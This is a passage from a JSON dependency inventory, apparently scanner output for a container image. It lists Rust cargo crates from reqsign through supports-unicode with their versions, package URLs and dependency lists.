"anyhow@1.0.102", "bytes@1.11.1", "form_urlencoded@1.2.2", "http@1.4.1", "log@0.4.29", "percent-encoding@2.3.2", "quick-xml@0.39.2", "reqsign-core@3.0.0", "rust-ini@0.21.3", "serde@1.0.228", "serde_json@1.0.150", "serde_urlencoded@0.7.1", "sha1@0.10.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-azure-storage@3.0.0", "Name": "reqsign-azure-storage", "Identifier": { "PURL": "pkg:cargo/reqsign-azure-storage@3.0.0", "UID": "2dc46e56ed4fc7c4" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "base64@0.22.1", "bytes@1.11.1", "form_urlencoded@1.2.2", "http@1.4.1", "jsonwebtoken@10.3.0", "log@0.4.29", "pem@3.0.6", "percent-encoding@2.3.2", "reqsign-core@3.0.0", "rsa@0.9.10", "serde@1.0.228", "serde_json@1.0.150", "sha1@0.10.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-command-execute-tokio@3.0.0", "Name": "reqsign-command-execute-tokio", "Identifier": { "PURL": "pkg:cargo/reqsign-command-execute-tokio@3.0.0", "UID": "ab04bae88100b9cc" }, "Version": "3.0.0", "DependsOn": [ "reqsign-core@3.0.0", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-core@3.0.0", "Name": "reqsign-core", "Identifier": { "PURL": "pkg:cargo/reqsign-core@3.0.0", "UID": "24c612e40e3eff6e" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "base64@0.22.1", "bytes@1.11.1", "form_urlencoded@1.2.2", "futures@0.3.32", "hex@0.4.3", "hmac@0.12.1", "http@1.4.1", "jiff@0.2.28", "log@0.4.29", "percent-encoding@2.3.2", "sha1@0.10.6", "sha2@0.10.9" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-file-read-tokio@3.0.0", "Name": "reqsign-file-read-tokio", "Identifier": { "PURL": "pkg:cargo/reqsign-file-read-tokio@3.0.0", "UID": "2c432b76ec7233ec" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "reqsign-core@3.0.0", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-google@3.0.0", "Name": "reqsign-google", "Identifier": { "PURL": "pkg:cargo/reqsign-google@3.0.0", "UID": "7f6d188d69ddf458" }, "Version": "3.0.0", "DependsOn": [ "form_urlencoded@1.2.2", "http@1.4.1", "jsonwebtoken@10.3.0", "log@0.4.29", "percent-encoding@2.3.2", "reqsign-aws-v4@3.0.0", "reqsign-core@3.0.0", "rsa@0.9.10", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-http-send-reqwest@4.0.0", "Name": "reqsign-http-send-reqwest", "Identifier": { "PURL": "pkg:cargo/reqsign-http-send-reqwest@4.0.0", "UID": "cc99f614d68d663a" }, "Version": "4.0.0", "DependsOn": [ "anyhow@1.0.102", "bytes@1.11.1", "http@1.4.1", "http-body-util@0.1.3", "reqsign-core@3.0.0", "reqwest@0.13.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqwest@0.13.4", "Name": "reqwest", "Identifier": { "PURL": "pkg:cargo/reqwest@0.13.4", "UID": "deea97ed2a69a2f3" }, "Version": "0.13.4", "DependsOn": [ "base64@0.22.1", "bytes@1.11.1", "futures-channel@0.3.32", "futures-core@0.3.32", "futures-util@0.3.32", "h2@0.4.14", "http@1.4.1", "http-body@1.0.1", "http-body-util@0.1.3", "hyper@1.10.1", "hyper-rustls@0.27.7", "hyper-util@0.1.20", "log@0.4.29", "mime_guess@2.0.5", "percent-encoding@2.3.2", "pin-project-lite@0.2.17", "quinn@0.11.9", "rustls@0.23.40", "rustls-pki-types@1.14.1", "rustls-platform-verifier@0.7.0", "serde@1.0.228", "serde_json@1.0.150", "serde_urlencoded@0.7.1", "sync_wrapper@1.0.2", "tokio@1.52.3", "tokio-rustls@0.26.4", "tokio-util@0.7.18", "tower@0.5.3", "tower-http@0.6.8", "tower-service@0.3.3", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "retry-policies@0.5.1", "Name": "retry-policies", "Identifier": { "PURL": "pkg:cargo/retry-policies@0.5.1", "UID": "f87531673400d20f" }, "Version": "0.5.1", "DependsOn": [ "rand@0.9.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ring@0.17.14", "Name": "ring", "Identifier": { "PURL": "pkg:cargo/ring@0.17.14", "UID": "338a772b45c23571" }, "Version": "0.17.14", "DependsOn": [ "cfg-if@1.0.4", "getrandom@0.2.16", "untrusted@0.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rkyv@0.8.16", "Name": "rkyv", "Identifier": { "PURL": "pkg:cargo/rkyv@0.8.16", "UID": "1bf6c90c19d87ea" }, "Version": "0.8.16", "DependsOn": [ "bytecheck@0.8.2", "bytes@1.11.1", "hashbrown@0.17.1", "indexmap@2.14.0", "munge@0.4.7", "ptr_meta@0.3.1", "rancor@0.1.1", "rend@0.5.3", "smallvec@1.15.2", "tinyvec@1.11.0", "uuid@1.23.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rmp@0.8.15", "Name": "rmp", "Identifier": { "PURL": "pkg:cargo/rmp@0.8.15", "UID": "208b9a98e7165adb" }, "Version": "0.8.15", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rmp-serde@1.3.1", "Name": "rmp-serde", "Identifier": { "PURL": "pkg:cargo/rmp-serde@1.3.1", "UID": "9f714b5bac3555ed" }, "Version": "1.3.1", "DependsOn": [ "rmp@0.8.15", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rsa@0.9.10", "Name": "rsa", "Identifier": { "PURL": "pkg:cargo/rsa@0.9.10", "UID": "a4f53e72ede961ec" }, "Version": "0.9.10", "DependsOn": [ "const-oid@0.9.6", "digest@0.10.7", "num-bigint-dig@0.8.6", "num-integer@0.1.46", "num-traits@0.2.19", "pkcs1@0.7.5", "pkcs8@0.10.2", "rand_core@0.6.4", "sha2@0.10.9", "signature@2.2.0", "spki@0.7.3", "subtle@2.6.1", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rust-ini@0.21.3", "Name": "rust-ini", "Identifier": { "PURL": "pkg:cargo/rust-ini@0.21.3", "UID": "25d08a3d794dbfbc" }, "Version": "0.21.3", "DependsOn": [ "cfg-if@1.0.4", "ordered-multimap@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustc-hash@2.1.2", "Name": "rustc-hash", "Identifier": { "PURL": "pkg:cargo/rustc-hash@2.1.2", "UID": "4de9e8fd36c40ea2" }, "Version": "2.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rusticata-macros@4.1.0", "Name": "rusticata-macros", "Identifier": { "PURL": "pkg:cargo/rusticata-macros@4.1.0", "UID": "3b5571065fe12e0b" }, "Version": "4.1.0", "DependsOn": [ "nom@7.1.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustix@0.38.44", "Name": "rustix", "Identifier": { "PURL": "pkg:cargo/rustix@0.38.44", "UID": "f0fed9edafd625f0" }, "Version": "0.38.44", "DependsOn": [ "bitflags@2.13.0", "errno@0.3.14", "libc@0.2.186", "linux-raw-sys@0.4.15" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustix@1.1.4", "Name": "rustix", "Identifier": { "PURL": "pkg:cargo/rustix@1.1.4", "UID": "c4a83493a892e9d6" }, "Version": "1.1.4", "DependsOn": [ "bitflags@2.13.0", "errno@0.3.14", "libc@0.2.186", "linux-raw-sys@0.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls@0.23.40", "Name": "rustls", "Identifier": { "PURL": "pkg:cargo/rustls@0.23.40", "UID": "c87ceac7987a20c6" }, "Version": "0.23.40", "DependsOn": [ "aws-lc-rs@1.16.2", "once_cell@1.21.4", "rustls-pki-types@1.14.1", "rustls-webpki@0.103.13", "subtle@2.6.1", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-native-certs@0.8.4", "Name": "rustls-native-certs", "Identifier": { "PURL": "pkg:cargo/rustls-native-certs@0.8.4", "UID": "7538fe6d4a17b231" }, "Version": "0.8.4", "DependsOn": [ "openssl-probe@0.2.1", "rustls-pki-types@1.14.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-pki-types@1.14.1", "Name": "rustls-pki-types", "Identifier": { "PURL": "pkg:cargo/rustls-pki-types@1.14.1", "UID": "fef9217375fd473f" }, "Version": "1.14.1", "DependsOn": [ "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-platform-verifier@0.7.0", "Name": "rustls-platform-verifier", "Identifier": { "PURL": "pkg:cargo/rustls-platform-verifier@0.7.0", "UID": "9e6c28cfd5bc1dd9" }, "Version": "0.7.0", "DependsOn": [ "log@0.4.29", "rustls@0.23.40", "rustls-native-certs@0.8.4", "rustls-webpki@0.103.13" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-webpki@0.103.13", "Name": "rustls-webpki", "Identifier": { "PURL": "pkg:cargo/rustls-webpki@0.103.13", "UID": "9d0e989d46ed7fea" }, "Version": "0.103.13", "DependsOn": [ "aws-lc-rs@1.16.2", "ring@0.17.14", "rustls-pki-types@1.14.1", "untrusted@0.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ryu@1.0.23", "Name": "ryu", "Identifier": { "PURL": "pkg:cargo/ryu@1.0.23", "UID": "d76a03588c12714" }, "Version": "1.0.23", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "salsa20@0.10.2", "Name": "salsa20", "Identifier": { "PURL": "pkg:cargo/salsa20@0.10.2", "UID": "c60c8d043ad059d6" }, "Version": "0.10.2", "DependsOn": [ "cipher@0.4.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "same-file@1.0.6", "Name": "same-file", "Identifier": { "PURL": "pkg:cargo/same-file@1.0.6", "UID": "cc590cd7a0bc10c7" }, "Version": "1.0.6", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "schemars@1.2.1", "Name": "schemars", "Identifier": { "PURL": "pkg:cargo/schemars@1.2.1", "UID": "cb372327c7fc0281" }, "Version": "1.2.1", "DependsOn": [ "dyn-clone@1.0.20", "ref-cast@1.0.25", "serde@1.0.228", "serde_json@1.0.150", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "scopeguard@1.2.0", "Name": "scopeguard", "Identifier": { "PURL": "pkg:cargo/scopeguard@1.2.0", "UID": "c919b69ddd5f3f35" }, "Version": "1.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "scroll@0.13.0", "Name": "scroll", "Identifier": { "PURL": "pkg:cargo/scroll@0.13.0", "UID": "647cd3822cf5027d" }, "Version": "0.13.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "scrypt@0.11.0", "Name": "scrypt", "Identifier": { "PURL": "pkg:cargo/scrypt@0.11.0", "UID": "72a631efc7d468c0" }, "Version": "0.11.0", "DependsOn": [ "pbkdf2@0.12.2", "salsa20@0.10.2", "sha2@0.10.9" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "seahash@4.1.0", "Name": "seahash", "Identifier": { "PURL": "pkg:cargo/seahash@4.1.0", "UID": "bf7ef4f3a94d409f" }, "Version": "4.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "secrecy@0.10.3", "Name": "secrecy", "Identifier": { "PURL": "pkg:cargo/secrecy@0.10.3", "UID": "9ff623339277680a" }, "Version": "0.10.3", "DependsOn": [ "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "secret-service@5.1.0", "Name": "secret-service", "Identifier": { "PURL": "pkg:cargo/secret-service@5.1.0", "UID": "6f733cf48942b7a3" }, "Version": "5.1.0", "DependsOn": [ "aes@0.8.4", "cbc@0.1.2", "futures-util@0.3.32", "generic-array@0.14.7", "getrandom@0.2.16", "hkdf@0.12.4", "num@0.4.3", "once_cell@1.21.4", "serde@1.0.228", "sha2@0.10.9", "zbus@5.15.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "seize@0.5.1", "Name": "seize", "Identifier": { "PURL": "pkg:cargo/seize@0.5.1", "UID": "2931e291cc83845a" }, "Version": "0.5.1", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "semver@1.0.27", "Name": "semver", "Identifier": { "PURL": "pkg:cargo/semver@1.0.27", "UID": "e6823910f6bb75e5" }, "Version": "1.0.27", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde@1.0.228", "Name": "serde", "Identifier": { "PURL": "pkg:cargo/serde@1.0.228", "UID": "151f6280bd41475a" }, "Version": "1.0.228", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde-untagged@0.1.9", "Name": "serde-untagged", "Identifier": { "PURL": "pkg:cargo/serde-untagged@0.1.9", "UID": "c45dc1fe6cc7d77c" }, "Version": "0.1.9", "DependsOn": [ "erased-serde@0.4.10", "serde_core@1.0.228", "typeid@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_core@1.0.228", "Name": "serde_core", "Identifier": { "PURL": "pkg:cargo/serde_core@1.0.228", "UID": "54264422ac51b4f3" }, "Version": "1.0.228", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_json@1.0.150", "Name": "serde_json", "Identifier": { "PURL": "pkg:cargo/serde_json@1.0.150", "UID": "b4f59bf97ca45b3a" }, "Version": "1.0.150", "DependsOn": [ "itoa@1.0.17", "memchr@2.8.2", "serde_core@1.0.228", "zmij@1.0.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_repr@0.1.20", "Name": "serde_repr", "Identifier": { "PURL": "pkg:cargo/serde_repr@0.1.20", "UID": "3a3df018f039aafd" }, "Version": "0.1.20", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_spanned@1.1.1", "Name": "serde_spanned", "Identifier": { "PURL": "pkg:cargo/serde_spanned@1.1.1", "UID": "2dcbc1458f56afac" }, "Version": "1.1.1", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_urlencoded@0.7.1", "Name": "serde_urlencoded", "Identifier": { "PURL": "pkg:cargo/serde_urlencoded@0.7.1", "UID": "701bcef93c26d5e7" }, "Version": "0.7.1", "DependsOn": [ "form_urlencoded@1.2.2", "itoa@1.0.17", "ryu@1.0.23", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sha1@0.10.6", "Name": "sha1", "Identifier": { "PURL": "pkg:cargo/sha1@0.10.6", "UID": "3e513eef0247b968" }, "Version": "0.10.6", "DependsOn": [ "cfg-if@1.0.4", "cpufeatures@0.2.17", "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sha2@0.10.9", "Name": "sha2", "Identifier": { "PURL": "pkg:cargo/sha2@0.10.9", "UID": "18f5c586d8f9b921" }, "Version": "0.10.9", "DependsOn": [ "cfg-if@1.0.4", "cpufeatures@0.2.17", "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sharded-slab@0.1.7", "Name": "sharded-slab", "Identifier": { "PURL": "pkg:cargo/sharded-slab@0.1.7", "UID": "1f213193f5266b94" }, "Version": "0.1.7", "DependsOn": [ "lazy_static@1.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "shell-escape@0.1.5", "Name": "shell-escape", "Identifier": { "PURL": "pkg:cargo/shell-escape@0.1.5", "UID": "6a09917c1028a612" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "shellexpand@3.1.2", "Name": "shellexpand", "Identifier": { "PURL": "pkg:cargo/shellexpand@3.1.2", "UID": "371f3ccda39befce" }, "Version": "3.1.2", "DependsOn": [ "bstr@1.12.1", "dirs@6.0.0", "os_str_bytes@6.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "signal-hook-registry@1.4.8", "Name": "signal-hook-registry", "Identifier": { "PURL": "pkg:cargo/signal-hook-registry@1.4.8", "UID": "e670aa820b876ee9" }, "Version": "1.4.8", "DependsOn": [ "errno@0.3.14", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "signature@2.2.0", "Name": "signature", "Identifier": { "PURL": "pkg:cargo/signature@2.2.0", "UID": "449688455989a98d" }, "Version": "2.2.0", "DependsOn": [ "digest@0.10.7", "rand_core@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "simd-adler32@0.3.8", "Name": "simd-adler32", "Identifier": { "PURL": "pkg:cargo/simd-adler32@0.3.8", "UID": "d62ed08985b02aa" }, "Version": "0.3.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "simdutf8@0.1.5", "Name": "simdutf8", "Identifier": { "PURL": "pkg:cargo/simdutf8@0.1.5", "UID": "a1c608aeb06f145f" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "similar@2.7.0", "Name": "similar", "Identifier": { "PURL": "pkg:cargo/similar@2.7.0", "UID": "68c7d9c614242d7e" }, "Version": "2.7.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "similar@3.1.1", "Name": "similar", "Identifier": { "PURL": "pkg:cargo/similar@3.1.1", "UID": "e4d50f18c614bdc7" }, "Version": "3.1.1", "DependsOn": [ "bstr@1.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "simple_asn1@0.6.4", "Name": "simple_asn1", "Identifier": { "PURL": "pkg:cargo/simple_asn1@0.6.4", "UID": "226539e2f322677e" }, "Version": "0.6.4", "DependsOn": [ "num-bigint@0.4.6", "num-traits@0.2.19", "thiserror@2.0.18", "time@0.3.47" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "slab@0.4.12", "Name": "slab", "Identifier": { "PURL": "pkg:cargo/slab@0.4.12", "UID": "4c14cd41e34eee4d" }, "Version": "0.4.12", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "smallvec@1.15.2", "Name": "smallvec", "Identifier": { "PURL": "pkg:cargo/smallvec@1.15.2", "UID": "32ba302408ad2daa" }, "Version": "1.15.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "smawk@0.3.2", "Name": "smawk", "Identifier": { "PURL": "pkg:cargo/smawk@0.3.2", "UID": "ec5ec9fbc87f4e5c" }, "Version": "0.3.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "socket2@0.6.3", "Name": "socket2", "Identifier": { "PURL": "pkg:cargo/socket2@0.6.3", "UID": "ae8f1634340bb3a6" }, "Version": "0.6.3", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "spdx@0.13.4", "Name": "spdx", "Identifier": { "PURL": "pkg:cargo/spdx@0.13.4", "UID": "814cbfd10edc448a" }, "Version": "0.13.4", "DependsOn": [ "smallvec@1.15.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "spin@0.9.8", "Name": "spin", "Identifier": { "PURL": "pkg:cargo/spin@0.9.8", "UID": "a958949a957e9515" }, "Version": "0.9.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "spki@0.7.3", "Name": "spki", "Identifier": { "PURL": "pkg:cargo/spki@0.7.3", "UID": "86d401dc84a5484c" }, "Version": "0.7.3", "DependsOn": [ "base64ct@1.8.3", "der@0.7.10" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "stable_deref_trait@1.2.1", "Name": "stable_deref_trait", "Identifier": { "PURL": "pkg:cargo/stable_deref_trait@1.2.1", "UID": "2ab438524c9b621b" }, "Version": "1.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "strip-ansi-escapes@0.2.1", "Name": "strip-ansi-escapes", "Identifier": { "PURL": "pkg:cargo/strip-ansi-escapes@0.2.1", "UID": "1361dd641d37f9ac" }, "Version": "0.2.1", "DependsOn": [ "vte@0.14.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "strsim@0.11.1", "Name": "strsim", "Identifier": { "PURL": "pkg:cargo/strsim@0.11.1", "UID": "101e41015409e0f3" }, "Version": "0.11.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "strum@0.28.0", "Name": "strum", "Identifier": { "PURL": "pkg:cargo/strum@0.28.0", "UID": "a4fb6b2c05c31d5d" }, "Version": "0.28.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "subtle@2.6.1", "Name": "subtle", "Identifier": { "PURL": "pkg:cargo/subtle@2.6.1", "UID": "bf8f74678e670341" }, "Version": "2.6.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "supports-color@3.0.2", "Name": "supports-color", "Identifier": { "PURL": "pkg:cargo/supports-color@3.0.2", "UID": "b23784e1a902bbc9" }, "Version": "3.0.2", "DependsOn": [ "is_ci@1.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "supports-hyperlinks@3.2.0", "Name": "supports-hyperlinks", "Identifier": { "PURL": "pkg:cargo/supports-hyperlinks@3.2.0", "UID": "fa78895ea298465" }, "Version": "3.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "supports-unicode@3.0.0", "Name": 